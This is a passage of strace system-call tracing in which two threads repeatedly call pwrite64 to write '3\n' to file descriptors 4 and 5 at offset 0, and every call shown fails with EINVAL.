[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
